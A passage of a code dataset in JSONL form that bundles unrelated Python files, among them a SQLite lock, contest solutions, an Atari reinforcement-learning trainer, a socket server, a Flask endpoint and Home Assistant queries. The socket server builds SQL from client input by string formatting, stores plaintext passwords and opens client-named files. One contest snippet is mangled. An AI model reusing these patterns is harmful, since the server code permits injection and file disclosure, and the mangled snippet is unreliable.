blocking=False, timeout=30, polling_rate=0.4):\n if self.lock_acquired:\n return\n\n if not os.path.isfile(self.db_file):\n self.init_db()\n\n cur_timeout = 0\n while True and not self.lock_acquired:\n db = get_db(self.db_file)\n try:\n db.isolation_level = 'EXCLUSIVE'\n db.execute('BEGIN EXCLUSIVE')\n lock_entry = db.execute(\n 'SELECT * FROM locks WHERE name = ?',\n (self.lock_name,)).fetchone()\n if lock_entry is None:\n db.execute(\n 'INSERT INTO locks (name) VALUES (?)',\n (self.lock_name,))\n self.lock_acquired = True\n print(f\"Acquired lock {self.lock_name}\")\n db.commit()\n except sqlite3.OperationalError as e:\n print(f\"Encountering operational error {e}\")\n db.close()\n if self.lock_acquired or not blocking:\n break\n cur_timeout += polling_rate\n sleep(polling_rate)\n\n def init_db(self):\n db = get_db(self.db_file)\n db.executescript('DROP TABLE IF EXISTS locks; '\n 'CREATE TABLE locks (name TEXT NOT NULL);')\n db.close()\n\n def locked(self):\n return self.lock_acquired\n\n def __enter__(self):\n return self\n\n def __exit__(self, *_, **__):\n self.release()\n\n def release(self):\n if not self.locked():\n return\n while True:\n db = get_db(self.db_file)\n try:\n db.execute(\n 'DELETE FROM locks WHERE name = ?',\n (self.lock_name,))\n db.commit()\n db.close()\n break\n except sqlite3.OperationalError:\n pass\n db.close()\n sleep(0.4)\n print(f\"Released lock {self.lock_name}\")\n self.lock_acquired = False\n","sub_path":"asreview/webapp/sqlock.py","file_name":"sqlock.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"462880526","text":"num,si=input().split()\nvj=0\nif len(num)>len(si):\n num,si=si,num\np=0\nwhile p 0:\n print(\"YES\")\n bar = True\n break\nif not bar:\n print(\"NO\")\n","sub_path":"Week 10/Informatics/4_E.py","file_name":"4_E.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"457173843","text":"import cv2\nimport numpy as np\n\nvid = cv2.VideoCapture(\"0,0,0 - 05-April-2022 10:28:33(1).mp4\")\ncount = 1\nwhile(vid.isOpened()):\n ret, frame = vid.read()\n if ret == True:\n cv2.imshow('frame', frame)\n \n filename = str(count) + \".jpg\"\n if cv2.waitKey(1) & 0xff == ord(\"s\"):\n cv2.imwrite(filename, frame)\n count+=1\n \n if cv2.waitKey(1) & 0xff == ord(\"q\"):\n break\n else:\n break\n\nvid.release()\ncv2.destroyAllWindows()","sub_path":"program/get_sample.py","file_name":"get_sample.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"575629641","text":"from casadi import *\nimport numpy as NP\nimport matplotlib.pyplot as PLT\nfrom copy import deepcopy\nimport time\nimport pdb\nfrom scipy.stats import f as fdist\n\ndef setup_lse_solver(arg):\n # Unwrap the input arguments\n np = arg['np']\n nx = arg['nx']\n nu = arg['nu']\n y = arg['y']\n ny = len(y)\n dae = arg['l_dae']\n nM = arg['nM']\n t_step = arg['t_step']\n y_variance = arg['y_variance']\n\n # Temporary setting has to be removed\n #ny = nx\n #y_variance = NP.ones(nx)\n\n # Integerator for LSE\n opts = {\"abstol\": 1e-10, \"reltol\": 1e-10, \"exact_jacobian\": True, 'tf': t_step}\n model = integrator(\"model\", 'cvodes', dae, opts)\n\n # symbolic variables for solver decision variables and parameters\n V = MX.sym('V', np)\n nW = nx + nM*ny + nM*nu\n W = MX.sym('W', nW)\n\n # Split solver parameters and store accordiongly\n Y = NP.resize(NP.array([], dtype=MX), (nM))\n U = NP.resize(NP.array([], dtype=MX), (nM))\n Y_offset = NP.resize(NP.array([-1], dtype=int), Y.shape)\n U_offset = NP.resize(NP.array([-1], dtype=int), U.shape)\n\n\n J = 0\n offset = 0\n # Split intial conditions\n x0 = W[:nx]\n offset += nx\n for index_1 in range(nM):\n # Split measurement info sent\n Y[index_1] = W[offset:offset+ny]\n Y_offset[index_1] = offset\n offset += ny\n\n # Split input info\n U[index_1] = W[offset:offset+nu]\n U_offset[index_1] = offset\n offset += nu\n\n\n if index_1==0:\n x_temp = model(x0=x0, p=vertcat(U[index_1], V))['xf']\n else:\n x_temp = model(x0=x_temp, p=vertcat(U[index_1], V))['xf']\n\n # Built the cosnt functions\n for index_2 in range(ny):\n J += ((x_temp[y[index_2]]-Y[index_1][index_2])/y_variance[index_2])**2\n\n # Built nlp function\n nlp_fcn = {'f': J, 'x': V, 'p': W}\n\n nlp_out = {'nlp_fcn':nlp_fcn, 'Y_offset':Y_offset, 'U_offset':U_offset}\n\n return nlp_out","sub_path":"Code/backup/1/setup_function/box_overapprox/setup_lse_nlp.py","file_name":"setup_lse_nlp.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"593165049","text":"\"\"\"An example of how to use A2C and ACKTR to learn to play an Atari game.\"\"\"\n\n\nimport functools\nimport os\n\nimport gym\nimport kfac\nimport tensorflow as tf\n\nimport actorcritic.envs.atari.wrappers as wrappers\nfrom actorcritic.agents import MultiEnvAgent\nfrom actorcritic.envs.atari.model import AtariModel\nfrom actorcritic.kfac_utils import ColdStartPeriodicInvUpdateKfacOpt\nfrom actorcritic.multi_env import MultiEnv, create_subprocess_envs\nfrom actorcritic.nn import ClipGlobalNormOptimizer\nfrom actorcritic.objectives import A2CObjective\n\n\ndef train_a2c_acktr(acktr, env_id, num_envs, num_steps, save_path, model_name):\n \"\"\"Trains an Atari model using A2C or ACKTR. Automatically saves and loads the trained model.\n\n Args:\n acktr (:obj:`bool`):\n Whether the ACKTR or the A2C algorithm should be used. ACKTR uses the K-FAC optimizer and uses 32 filters in\n the third convolutional layer of the neural network instead of 64.\n\n env_id (:obj:`string`):\n An id passed to :meth:`gym.make` to create the environments.\n\n num_envs (:obj:`int`):\n The number of environments that will be used (so `num_envs` subprocesses will be created).\n A2C normally uses 16. ACKTR normally uses 32.\n\n num_steps (:obj:`int`):\n The number of steps to take in each iteration. A2C normally uses 5. ACKTR normally uses 20.\n\n save_path (:obj:`string`):\n A directory to load and save the model.\n\n model_name (:obj:`string`):\n A name of the model. The files in the `save_path` directory will have this name.\n \"\"\"\n\n # creates functions to create environments (binds values to make_atari_env)\n # render first environment to visualize the learning progress\n env_fns = [functools.partial(make_atari_env, env_id, render=i == 0) for i in range(num_envs)]\n envs = create_subprocess_envs(env_fns)\n\n # stacking frames inside the subprocesses would cause the frames to be passed between processes multiple times\n envs = [wrappers.FrameStackWrapper(env, 4) for env in envs]\n multi_env = MultiEnv(envs)\n\n # acktr uses only 32 filters in the last layer\n model = AtariModel(multi_env.observation_space, multi_env.action_space, 32 if acktr else 64)\n\n objective = A2CObjective(model, discount_factor=0.99, entropy_regularization_strength=0.01)\n\n if acktr:\n # required for the K-FAC optimizer\n layer_collection = kfac.LayerCollection()\n model.register_layers(layer_collection)\n model.register_predictive_distributions(layer_collection)\n\n # use SGD optimizer for the first few iterations, to prevent NaN values # TODO\n cold_optimizer = tf.train.MomentumOptimizer(learning_rate=0.001, momentum=0.9)\n cold_optimizer = ClipGlobalNormOptimizer(cold_optimizer, clip_norm=0.25)\n\n optimizer = ColdStartPeriodicInvUpdateKfacOpt(\n num_cold_updates=30, cold_optimizer=cold_optimizer,\n invert_every=10, learning_rate=0.25, cov_ema_decay=0.99, damping=0.01,\n layer_collection=layer_collection, momentum=0.9, norm_constraint=0.0001, # trust region radius\n cov_devices=['/gpu:0'], inv_devices=['/gpu:0'])\n\n else:\n optimizer = tf.train.RMSPropOptimizer(learning_rate=0.0007)\n optimizer = ClipGlobalNormOptimizer(optimizer, clip_norm=0.5) # clip the gradients\n\n global_step = tf.train.get_or_create_global_step()\n\n # create optimizer operation for shared parameters\n optimize_op = objective.minimize_shared(optimizer, baseline_loss_weight=0.5, global_step=global_step)\n\n agent = MultiEnvAgent(multi_env, model, num_steps)\n\n with tf.Session() as session:\n session.run(tf.global_variables_initializer())\n\n saver = tf.train.Saver()\n try:\n latest_checkpoint_path = tf.train.latest_checkpoint(save_path)\n if latest_checkpoint_path is None:\n raise FileNotFoundError()\n\n saver.restore(session, latest_checkpoint_path)\n print('Loaded model')\n\n except (tf.errors.NotFoundError, FileNotFoundError):\n print('No model loaded')\n\n step = None\n try:\n while True:\n # sample trajectory batch\n observations, actions, rewards, terminals, next_observations, infos = agent.interact(session)\n\n # update policy and baseline\n step, _ = session.run([global_step, optimize_op], feed_dict={\n model.observations_placeholder: observations,\n model.bootstrap_observations_placeholder: next_observations,\n model.actions_placeholder: actions,\n model.rewards_placeholder: rewards,\n model.terminals_placeholder: terminals\n })\n\n if step % 100 == 0 and step > 0:\n # save every 100th step\n saver.save(session, save_path + '/' + model_name, step)\n print('Saved model (step {})'.format(step))\n\n except KeyboardInterrupt:\n multi_env.close()\n\n # save when interrupted\n if step is not None:\n saver.save(session, save_path + '/' + model_name, step)\n print('Saved model (step {})'.format(step))\n\n\ndef make_atari_env(env_id, render):\n \"\"\"Creates a :obj:`gym.Env` and wraps it with all Atari wrappers in :mod:`actorcritic.envs.atari.wrappers`.\n\n Args:\n env_id (:obj:`string`):\n An id passed to :meth:`gym.make`.\n\n render (:obj:`bool`):\n Whether this environment should be rendered.\n\n Returns:\n :obj:`gym.Env`:\n The environment.\n \"\"\"\n env = gym.make(env_id)\n\n # execute the 'NOOP' action a random number of times between 1 and 30 after a reset\n env = wrappers.AtariNoopResetWrapper(env, noop_max=30)\n\n # use only 4th frame while repeating the action on the remaining 3 frames\n env = wrappers.AtariFrameskipWrapper(env, frameskip=4)\n\n # preprocess (convert to grayscale and scale down) the observations in the subprocesses to decrease computation time\n # the preprocessing should not be done on the gpu, since the amount of data that will be passed to the gpu will be\n # drastically decreased, which is much less time-consuming\n env = wrappers.AtariPreprocessFrameWrapper(env)\n env = wrappers.EpisodeInfoWrapper(env) # stores episode info in 'info' at the end of episode\n env = wrappers.AtariEpisodicLifeWrapper(env) # terminate episodes after a life has been lost inside the game\n\n # execute the 'FIRE' action after a reset (at start and after a life has been lost)\n # this is required for most games to start\n env = wrappers.AtariFireResetWrapper(env)\n\n env = wrappers.AtariClipRewardWrapper(env) # clips the rewards between -1 and 1\n\n if render:\n env = wrappers.RenderWrapper(env)\n\n env = wrappers.AtariInfoClearWrapper(env) # removes redundant info to reduce inter-process data\n\n return env\n\n\nif __name__ == '__main__':\n acktr = True # whether to use ACKTR or A2C\n env_id = 'SeaquestNoFrameskip-v4' # id of the gym environment\n num_envs = 32 # number of multiple environments\n num_steps = 20 # number of steps per update\n\n # save in project root directory\n save_path = os.path.abspath('./model')\n os.makedirs(save_path, exist_ok=True)\n model_name = 'atari'\n\n train_a2c_acktr(acktr, env_id, num_envs, num_steps, save_path, model_name)\n\n # If you encounter an InvalidArgumentError 'Received a label value of x which is outside the valid range of [0, x)',\n # just restart the program until it works. This should only happen at the beginning of the learning process. This is\n # not intended and hopefully will be fixed in the future.\n","sub_path":"actorcritic/examples/atari/a2c_acktr.py","file_name":"a2c_acktr.py","file_ext":"py","file_size_in_byte":7832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"305038964","text":"inside = []\noutside = []\n\nevents = int(input())\nfor i in range(events):\n event, person = input().split()\n if event == 'entry':\n if person not in inside:\n inside.append(person)\n print(person, 'entered')\n else:\n print(person, 'entered (ANOMALY)')\n elif event == 'exit':\n if person in inside:\n inside.remove(person)\n print(person, 'exited')\n else:\n print(person, 'exited (ANOMALY)')\n","sub_path":"solutions/securedoors.py","file_name":"securedoors.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"560043762","text":"import socket\r\nimport sqlite3\r\nimport os\r\nimport select\r\n\r\n\r\nclass server:\r\n\r\n def __init__(self, data_base_path, imports_table_name, users_table_name, files_path):\r\n self.data_base_path = data_base_path\r\n self.imports_table_name = imports_table_name\r\n self.users_table_name = users_table_name\r\n self.files_path = files_path\r\n self.open_client_sockets = []\r\n self.messages_to_send = []\r\n\r\n # send messages\r\n def send_waiting_messages(self, wlist, messages_to_send):\r\n for message in messages_to_send:\r\n (client_socket, data) = message\r\n if client_socket in wlist:\r\n data = data.encode()\r\n client_socket.send(data)\r\n messages_to_send.remove(message)\r\n\r\n # create data base table\r\n def create_table(self, table_path, table_name, column1, column2):\r\n conn = sqlite3.connect(table_path)\r\n st = '''CREATE TABLE {}\r\n (\r\n {} TEXT NOT NULL,\r\n {} TEXT NOT NULL\r\n );'''.format(table_name, column1, column2)\r\n conn.execute(st)\r\n conn.close()\r\n\r\n # find files of codes (.py/.txt)\r\n def find_files(self):\r\n files_list = []\r\n for filename in os.listdir(self.files_path):\r\n if \".txt\" in filename:\r\n files_list.append(self.files_path + \"\\\\\" + filename)\r\n if \".py\" in filename:\r\n files_list.append(self.files_path + \"\\\\\" + filename)\r\n return files_list\r\n\r\n # find the lines imports in the files\r\n def find_imports(self):\r\n files_list = self.find_files()\r\n lines_list = []\r\n for path in files_list:\r\n file = open(path, \"r\")\r\n contents = file.read()\r\n lines = contents.split(\"\\n\")\r\n for line in lines:\r\n if \"import\" in line:\r\n tup = self.cut_lines(line, path)\r\n lines_list.append(tup)\r\n file.close()\r\n return lines_list\r\n\r\n # cut the import and the file name\r\n def cut_lines(self, line, path):\r\n split_line = line.split(\" \")\r\n sec_line = split_line[1]\r\n split_path = path.split(\"\\\\\")\r\n sec_path = split_path[-1]\r\n tup = (sec_line, sec_path)\r\n return tup\r\n\r\n # insert data to data base table\r\n def insert(self, table_name, column1, column2, data):\r\n conn = sqlite3.connect(self.data_base_path)\r\n st = \"INSERT INTO {} ({},{}) VALUES ('{}', '{}')\".format(table_name, column1, column2, data[0], data[1])\r\n conn.execute(st)\r\n conn.commit()\r\n conn.close()\r\n\r\n # insert the imports to the data base\r\n def insert_imports(self, column1, column2):\r\n lines_list = self.find_imports()\r\n for data in lines_list:\r\n self.insert(self.imports_table_name, column1, column2, data)\r\n\r\n # find the word in the data base\r\n def find_word(self, the_word, current_socket):\r\n conn = sqlite3.connect(self.data_base_path)\r\n cursor = conn.execute(\"SELECT * from {}\".format(self.imports_table_name))\r\n names_lst = []\r\n cut_word = the_word.split(' ')\r\n for row in cursor:\r\n for word in cut_word:\r\n if word == row[0]:\r\n names_lst.append(row[1])\r\n if len(names_lst) == 0:\r\n self.messages_to_send.append((current_socket, \"no results\"))\r\n else:\r\n str_names_lst = \"\"\r\n for i in names_lst:\r\n str_names_lst += i + \", \"\r\n str_names_lst = str_names_lst[:-2]\r\n self.messages_to_send.append((current_socket, str_names_lst))\r\n\r\n # find the user name and the password from the message\r\n def cut_sign_msg(self, msg):\r\n data = msg.split(\": \")\r\n profile = data[1]\r\n profile = profile.split(\", \")\r\n profile = tuple(profile)\r\n return profile\r\n\r\n # if the user is in the table\r\n def in_table(self, profile):\r\n conn = sqlite3.connect(self.data_base_path)\r\n cursor = conn.execute(\"SELECT * from {}\".format(self.users_table_name))\r\n exist = False\r\n for row in cursor:\r\n if row == profile:\r\n exist = True\r\n return exist\r\n\r\n # sign up an user\r\n def sing_up(self, column1, column2, the_word, current_socket):\r\n profile = self.cut_sign_msg(the_word)\r\n exist = self.in_table(profile)\r\n if exist:\r\n self.messages_to_send.append((current_socket, \"This user is already exists\"))\r\n else:\r\n self.insert(self.users_table_name, column1, column2, profile)\r\n self.messages_to_send.append((current_socket, \"You signed up\"))\r\n\r\n # sign in an user\r\n def sign_in(self, the_word, current_socket):\r\n profile = self.cut_sign_msg(the_word)\r\n exist = self.in_table(profile)\r\n if exist:\r\n self.messages_to_send.append((current_socket, \"You signed in\"))\r\n else:\r\n self.messages_to_send.append((current_socket, \"You have a mistake in your user name or your password\"))\r\n\r\n def main(self):\r\n print(\"server begin\")\r\n server_socket = socket.socket()\r\n server_socket.bind((\"0.0.0.0\", 8820))\r\n server_socket.listen(1)\r\n imports_column1 = 'the_import'\r\n imports_column2 = 'the_file'\r\n users_column1 = 'user_name'\r\n users_column2 = 'password'\r\n\r\n while True:\r\n rlist, wlist, xlist = \\\r\n select.select([server_socket] + self.open_client_sockets, self.open_client_sockets, [])\r\n for current_socket in rlist:\r\n if current_socket is server_socket:\r\n (new_socket, address) = server_socket.accept()\r\n self.open_client_sockets.append(new_socket)\r\n else:\r\n # get the word\r\n the_word = current_socket.recv(1024)\r\n the_word = the_word.decode()\r\n if the_word == 'quit':\r\n self.open_client_sockets.remove(current_socket)\r\n self.messages_to_send.append((current_socket, \"end connection\"))\r\n elif \"sign_up\" in the_word:\r\n try:\r\n self.sing_up(users_column1, users_column2, the_word, current_socket)\r\n except:\r\n self.create_table(self.data_base_path, self.users_table_name, users_column1, users_column2)\r\n print(\"Users data base created\")\r\n self.sing_up(users_column1, users_column2, the_word, current_socket)\r\n elif \"sign_in\" in the_word:\r\n try:\r\n self.sign_in(the_word, current_socket)\r\n except:\r\n self.create_table(self.data_base_path, self.users_table_name, users_column1, users_column2)\r\n print(\"Users data base created\")\r\n self.sign_in(the_word, current_socket)\r\n elif \"file_len\" in the_word:\r\n (command, file_name) = the_word.split(\": \")\r\n file = open(self.files_path + \"\\\\\" + file_name)\r\n text = file.read()\r\n length = len(text)\r\n times = (length//1024)+1\r\n times = str(times)\r\n self.messages_to_send.append((current_socket, times))\r\n elif \"send_file\" in the_word:\r\n (command, file_name) = the_word.split(\": \")\r\n file = open(self.files_path + \"\\\\\" + file_name)\r\n text = file.read()\r\n self.messages_to_send.append((current_socket, text))\r\n else:\r\n try:\r\n self.find_word(the_word, current_socket)\r\n except:\r\n self.create_table(self.data_base_path, self.imports_table_name, imports_column1,\r\n imports_column2)\r\n self.insert_imports(imports_column1, imports_column2)\r\n print(\"Imports data base created\")\r\n self.find_word(the_word, current_socket)\r\n self.send_waiting_messages(wlist, self.messages_to_send)\r\n\r\n\r\ndata_base_path = 'data_base.db'\r\nimports_table_name = 'IMPORTS'\r\nusers_table_name = 'USERS'\r\nfiles_path = 'files_data'\r\nserver(data_base_path, imports_table_name, users_table_name, files_path).main()\r\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"288267696","text":"from flask import Flask, request, jsonify, json\nfrom flask_restful import Resource\nfrom app.api.v2.models.meetupmodel import Meetups\nfrom app.api.v2.models.rsvpmodel import Rsvps\nfrom flask_expects_json import expects_json\nfrom app.api.v2.utils.json_schema import rsvp_schema\nfrom flask_jwt_extended import get_jwt_identity, jwt_required\n\nrsvp = Rsvps()\nmeetup = Meetups()\n\n\nclass RSVPEndpoint(Resource):\n '''Endpoint for all questions functionality'''\n\n @expects_json(rsvp_schema)\n # @jwt_required\n def post(self, meetup_id):\n '''Post an RSVP'''\n try:\n meetup_id = int(meetup_id)\n except:\n return{\"message\": \"The id has to be an integer\"}, 400\n meetup_available = Meetups().get_specific_meetup(meetup_id)\n if not meetup_available:\n return {\"message\": \"You cannot RSVP an unavailable meetup\"}, 400\n\n data = request.get_json()\n if not data:\n {\"message\": \"Please submit your RSVP\", \"status\": 400}, 400\n user_id = data['user_id']\n meetup_id = meetup_id\n response = data['response']\n\n if (response == \"yes\" or response == \"no\" or response == \"maybe\"):\n new_rsvp = rsvp.create_rsvp(user_id, meetup_id, response)\n return {\"status\": 201, \"data\": new_rsvp, \"message\": \"RSVP saved for this meetup\"}, 201\n else:\n return {\"message\": \"response should be a yes, no or maybe\", \"status\": 400}, 400\n","sub_path":"app/api/v2/views/rsvps.py","file_name":"rsvps.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"162986040","text":"import collections\n\nimport pandas as pd\nimport pytest\n\nfrom semicon.parameters import DataBank\n\n\n@pytest.mark.parametrize(\"databank_name\", [\"winkler\", \"lawaetz\"])\ndef test_databank_loading(databank_name):\n db = DataBank(databank_name)\n assert isinstance(db, collections.abc.Mapping)\n\n\n@pytest.mark.parametrize(\"databank_name\", [\"winkler\", \"lawaetz\"])\ndef test_databank_dataframe_conversion(databank_name):\n db = DataBank(databank_name)\n df = db.to_dataframe()\n\n assert sorted(list(db)) == sorted(list(df.index))\n assert isinstance(df, pd.DataFrame)\n","sub_path":"semicon/tests/test_parameters.py","file_name":"test_parameters.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"152044549","text":"class Solution:\n def waysToStep(self, n: int) -> int:\n if n == 1:\n return 1\n l = [0 for _ in range(n + 1)]\n l[0] = 1\n l[1] = 1\n l[2] = 2\n for i in range(3, n + 1):\n l[i] = (l[i-3] + l[i-2] + l[i-1]) % 1000000007\n return l[-1]\n\n\n\nif __name__ == '__main__':\n x = Solution()\n print(x.waysToStep(2))\n\n\n","sub_path":"面试题 08.01. 三步问题.py","file_name":"面试题 08.01. 三步问题.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"378641682","text":"from django.shortcuts import render\nfrom django import forms\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\n\ntasks = []\n\n\n# Create your views here.\ndef index(request):\n if \"tasks\" not in request.session:\n request.session[\"tasks\"] = []\n return render(request, \"Tasks/to-do.html\",{\n \"tasks\": request.session[\"tasks\"]\n })\n\nclass AddTaskForm(forms.Form): # Creating a form class, inheriting from forms.Form\n newTask = forms.CharField(label= \"Enter new task\")\n\n\ndef addTask(request):\n if request.method == \"POST\":\n form = AddTaskForm(request.POST)\n if form.is_valid():\n task = form.cleaned_data[\"newTask\"] # Forms only get a cleaned_data attribute when is_valid() has been called\n request.session[\"tasks\"] += [task]\n #tasks.append(task)\n return HttpResponseRedirect(reverse(\"tasks:index\")) # app_name:path name\n #return render(request, \"Tasks/to-do.html\",{\"tasks\": tasks})\n else:\n return render(request, \"Tasks/addTask.html\",{\n \"form\" : form\n })\n return render(request, \"Tasks/addTask.html\",{\n \"form\" : AddTaskForm()\n })","sub_path":"To_Do_List/Tasks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"141031351","text":"#\n# Copyright (C) 2015 Satoru SATOH \n# License: MIT\n#\n# pylint: disable=missing-docstring\nimport os.path\nimport subprocess\nimport unittest\n\nimport tests.common\n\n\nSCRIPT_TO_USE_ANYCONFIG = \"\"\"\\\n#! /usr/bin/env python\nimport anyconfig\n\nc = anyconfig.load(\"/\") or {}\nanyconfig.dump(c, \"/dev/null\", \"yaml\")\n\"\"\"\n\n\ndef check_output(cmd):\n devnull = open('/dev/null', 'w')\n proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=devnull)\n return proc.communicate()[0]\n\n\nclass Test(unittest.TestCase):\n\n def setUp(self):\n self.workdir = tests.common.setup_workdir()\n self.script = os.path.join(self.workdir, \"a.py\")\n\n def tearDown(self):\n tests.common.cleanup_workdir(self.workdir)\n\n def test_00_run_script(self):\n with open(self.script, 'w') as fileobj:\n fileobj.write(SCRIPT_TO_USE_ANYCONFIG)\n\n out = check_output([\"python\", self.script])\n self.assertTrue(out in (b'', ''))\n\n# vim:sw=4:ts=4:et:\n","sub_path":"tests/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"196304022","text":"\"\"\"Devices queries for logbook.\"\"\"\nfrom __future__ import annotations\n\nfrom collections.abc import Iterable\nfrom datetime import datetime as dt\n\nfrom sqlalchemy import lambda_stmt, select, union_all\nfrom sqlalchemy.orm import Query\nfrom sqlalchemy.sql.elements import ClauseList\nfrom sqlalchemy.sql.lambdas import StatementLambdaElement\nfrom sqlalchemy.sql.selectable import CTE, CompoundSelect\n\nfrom homeassistant.components.recorder.models import DEVICE_ID_IN_EVENT, Events, States\n\nfrom .common import (\n select_events_context_id_subquery,\n select_events_context_only,\n select_events_without_states,\n select_states_context_only,\n)\n\n\ndef _select_device_id_context_ids_sub_query(\n start_day: dt,\n end_day: dt,\n event_types: tuple[str, ...],\n json_quotable_device_ids: list[str],\n) -> CompoundSelect:\n \"\"\"Generate a subquery to find context ids for multiple devices.\"\"\"\n return select(\n union_all(\n select_events_context_id_subquery(start_day, end_day, event_types).where(\n apply_event_device_id_matchers(json_quotable_device_ids)\n ),\n ).c.context_id\n )\n\n\ndef _apply_devices_context_union(\n query: Query,\n start_day: dt,\n end_day: dt,\n event_types: tuple[str, ...],\n json_quotable_device_ids: list[str],\n) -> CompoundSelect:\n \"\"\"Generate a CTE to find the device context ids and a query to find linked row.\"\"\"\n devices_cte: CTE = _select_device_id_context_ids_sub_query(\n start_day,\n end_day,\n event_types,\n json_quotable_device_ids,\n ).cte()\n return query.union_all(\n select_events_context_only().where(Events.context_id.in_(devices_cte.select())),\n select_states_context_only().where(States.context_id.in_(devices_cte.select())),\n )\n\n\ndef devices_stmt(\n start_day: dt,\n end_day: dt,\n event_types: tuple[str, ...],\n json_quotable_device_ids: list[str],\n) -> StatementLambdaElement:\n \"\"\"Generate a logbook query for multiple devices.\"\"\"\n stmt = lambda_stmt(\n lambda: _apply_devices_context_union(\n select_events_without_states(start_day, end_day, event_types).where(\n apply_event_device_id_matchers(json_quotable_device_ids)\n ),\n start_day,\n end_day,\n event_types,\n json_quotable_device_ids,\n ).order_by(Events.time_fired)\n )\n return stmt\n\n\ndef apply_event_device_id_matchers(\n json_quotable_device_ids: Iterable[str],\n) -> ClauseList:\n \"\"\"Create matchers for the device_ids in the event_data.\"\"\"\n return DEVICE_ID_IN_EVENT.in_(json_quotable_device_ids)\n","sub_path":"homeassistant/components/logbook/queries/devices.py","file_name":"devices.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"22856518","text":"import freader as fr\nimport functions as fns\nfrom nka_state import NKAState\nfrom nka_automata import NKAutomata\nfrom dka_state import DKAState\nfrom dka_automata import DKAutomata\n\n\ndef dka_constructor(nka, symbols):\n dka_table = [[] for j in range(len(symbols))]\n\n # testovanie clsr funkcie\n # test = fns.epsilon_clsr(nka, [nka.states['q4'], nka.states['q5'], nka.states['q6'], nka.states['q7'], nka.states['q8']],\n # 'b')\n # print('!!!!!!!!!!!!!!!', test)\n\n first_index = fns.epsilon_clsr(nka, [fns.find_starting_state(nka)], '')\n # print('\\ninitial_dka_state\\n', first_index)\n # nka_to_dka_states_array.append(first_index)\n\n # hladania vsetkych moznych stavov cez closure\n nka_to_dka_states_array = fns.fill_nka_to_dka_states(first_index, nka, symbols)\n # print('found_states', nka_to_dka_states_array)\n\n symbol_col = 0\n for states in nka_to_dka_states_array:\n for symbol in symbols:\n dka_table[symbol_col].append(fns.epsilon_clsr(nka, states, symbol))\n symbol_col += 1\n symbol_col = 0\n\n # print('\\nnka to dka table\\n', dka_table)\n\n # konverzia prvkov v dka_tabulke na DKA stavy\n dka_table = fns.convert_dka_table_states(dka_table)\n\n # vytvorenie zoznamu stavov vysledneho DKA\n dka_automata_states = fns.init_dka_states(nka_to_dka_states_array)\n # print('\\ndka_automata_states\\n', dka_automata_states)\n\n # inicializacia pasci do prazdnych prvkov\n fns.init_trap_states(dka_table, dka_automata_states, len(symbols))\n\n # print('\\nconverted_dka_table with traps\\n', dka_table)\n\n # precitanie tabulky do novych stavov pre dka automat\n row_in_table = 0\n for states in dka_automata_states:\n index_of_symbol = 0\n for symbol in symbols:\n states.edges[symbol].append(dka_table[index_of_symbol][row_in_table])\n index_of_symbol += 1\n row_in_table += 1\n\n dka = DKAutomata(dka_automata_states, symbols)\n\n # print(dka)\n\n # zapis vysledneho nka\n fr.write_nka_to_file(nka.file_repr())\n # # zapis vysledneho dka\n # #fr.write_dka_to_file(dka.file_repr())\n\n # Testovanie DKA\n print('Zadajte vstup pre jeho validaciu DKA automatom:')\n x = input()\n print(dka.validate_input(x))\n","sub_path":"dka_constructor.py","file_name":"dka_constructor.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"324626883","text":"# 325. Maximum Size Subarray Sum Equals k\n# https://leetcode.com/problems/maximum-size-subarray-sum-equals-k/description/\n\n# Solution:\n# 1) Let C[N] be sum of elements from position 0 to position N,\n# then any sum of any array from position i to j can be represented as\n# C[j] - C[i-1]\n# 2) Calculating C takes O(n) time, finding appropriate C[j]-C[i-1] by trying all j,i\n# will take O(n^2) time, so is not feasible\n# 3) If we try all j, we will need a way to find the appropriate i in O(i) time,\n# where hashmap is a good choice\n\nclass Solution(object):\n def maxSubArrayLen(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\" \n pos = { 0: -1 }\n total_sum = 0\n max_length = 0\n\n for i in xrange(len(nums)):\n total_sum += nums[i]\n if total_sum not in pos:\n pos[total_sum] = i\n target_sum = total_sum - k\n if target_sum in pos:\n array_length = i - pos[target_sum]\n max_length = max(max_length, array_length)\n\n return max_length\n","sub_path":"325.py","file_name":"325.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"593695124","text":"# -*- coding: utf-8 -*-\n#\n# Copyright 2018 Spotify AB.\n#\n# Licensed under the Apache License, Version 2.0 (the 